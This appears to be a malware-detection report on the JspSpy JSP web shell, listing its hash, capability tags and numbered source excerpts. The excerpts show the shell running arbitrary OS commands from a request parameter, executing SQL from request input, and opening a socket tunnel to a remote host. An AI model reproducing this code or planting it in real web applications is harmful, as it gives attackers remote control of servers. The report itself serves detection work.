JspSpy Private Codz By - Ninty.jsp
JSP runs the cmd request parameterJSP tunnels through a server socket
SHA-2560b8a784f573c0fded0fd220cf8e4fd78b3c765f1b5d5cfac3c64c950c7344387
MaleculeO₃(C₃CoAs)H₄(Cm₄OsPoU)Md₂(Pt)Th
Evidence
84:3… }
85 public Object execute(String sql) throws Exception {
86 if (isValid()) {
87 stmt = conn.createStatement();
88 if (stmt.execute(sql)) {
89 return stmt.getResultSet();
90 } else {
⋯9 lines
1089:43… l");
1090 String uid = request.getParameter("uid");
1091 String pwd = request.getParameter("pwd");
1092 String sql = request.getParameter("sql");
1093 String selectDb = request.getParameter("selectDb");
1094 if (selectDb == null)
⋯4 lines
1801:17… n("<pre>");
1802 String command = request.getParameter("command");
1803 if (!Util.isEmpty(command)) {
1804 Process pro = Runtime.getRuntime().exec(command);
1805 BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
1806 String s = reader.readLine();
1807 while (s != null) {
1808 out.println(Util.htmlEncode(Util.getStr(s)));
1809 s = reader.readLin …
2489:7… rintWriter out = response.getWriter();
2490 String localIP = request.getParameter("localIP");
2491 String localPort = request.getParameter("localPort");
2492 final String remoteIP = request.getParameter("remoteIP");
2493 final String remotePort = request.getParameter("remotePort");
2494 if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
2495 return;
2496 Object obj = JSession.getAttribute(PORT_MAP);
2497 if (obj != null) {
2498 ServerSocket s = (ServerSocket)obj;
2499 s.close();
2500 }
2501 final ServerSocket server = new ServerSocket();
2502 server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
2503 JSession.setAttribute(PORT_MAP,server);
⋯5 lines
2898:41… ;
2899 } else if (type.equals("ecmd")) {
2900 Object o = JSession.getAttribute(SHELL_ONLINE);
2901 String cmd = request.getParameter("cmd");
2902 if (Util.isEmpty(cmd))
2903 return;
⋯7 lines